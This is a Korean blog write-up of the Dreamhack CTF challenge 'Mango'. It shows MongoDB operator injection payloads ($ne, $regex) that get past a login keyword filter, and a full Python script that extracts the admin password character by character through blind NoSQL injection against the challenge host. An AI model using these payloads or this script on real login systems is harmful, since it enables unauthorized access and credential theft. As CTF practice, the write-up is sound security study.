Mango
Vulnerability
웹 사이트로 들어가보면 해당 문구가 보인다. 그대로 URL에 넣어보면 "guest"가 출력이 됩니다. 해당되는 값을 찾는다면 그uid를 보여주는데 소스코드를 보시면 const BAN = ['admin', 'dh', 'admi'];로 필터링을 하고 있습니다.
/?login?uid[$ne]=guest&upw[$regex]="^alpha+num"
위와 같은 방식으로 Injection을 수행해도 동작하지만 문제는 uid가 "guest" "admin" 뿐만 아니라 "testuser" "dreamhack" 도 있다는 것 입니다.
"$ne" 말고도 uid에 $regex를 사용해 uid[$regex]=admi. 처럼 정규표현식을 사용한다면 필터링을 우회할 수 있습니다.
Exploit
아래는 Exploit code입니다. http://host3.dreamhack.games:16802/login?uid[$regex]=ad.&upw[$regex]=D.{find character} Payload를 사용하였습니다.
문제에서는 길이가 얼마인지 나와있지만 Blind Injection에서의 제일 먼저 해야할 것은 길이를 알아야 합니다. 해당 페이로드는 .{숫자} 정규 표현식으로 길이를 알 수 있습니다.
import requests
from urllib import parse
import string
class Solver :
def __init__(self) -> None:
self.__query_url="http://host3.dreamhack.games:10300/login"
def _query(self,uid,upw) -> requests.Response:
data = {
'uid[$regex]' : uid,
'upw[$regex]' : upw
}
resp = requests.get(self.__query_url,params=data)
return resp
def _no_sqli(self,query:str) -> requests.Response:
resp = self._query('ad.',query)
return resp
def find_length(self) -> int :
for i in range(1,40):
query = f".{{{i}}}"
resp = self._no_sqli(query)
resp_url =parse.unquote(resp.url)
print(resp_url)
if "undefined" in resp.text:
return i-1
return -1
def find_flag(self,f_len:int) -> None:
string_alpha = string.digits +string.ascii_letters
flag = ""
print(string_alpha)
for i in range(f_len):
for ch in string_alpha:
query = f"D..{flag}{ch}"
resp = self._no_sqli(query)
resp_url =parse.unquote(resp.url)
print(resp_url)
if "admin" in resp.text:
flag+=ch
break
return "DH{"+flag+"}"
if __name__ =="__main__" :
solve = Solver()
flag_len = solve.find_length()
flag = solve.find_flag(flag_len-3)
'CTF > Web' 카테고리의 다른 글
[Dreamhack CTF] blind-command (0) | 2022.07.25 |
---|---|
[Wargame.kr] strcmp (0) | 2022.07.25 |
[Wargame.kr] jff3_magic (0) | 2022.07.25 |
[Wargame.kr] md5 password (0) | 2022.07.25 |
[Dreamhack CTF] command-injection-1 (0) | 2022.07.24 |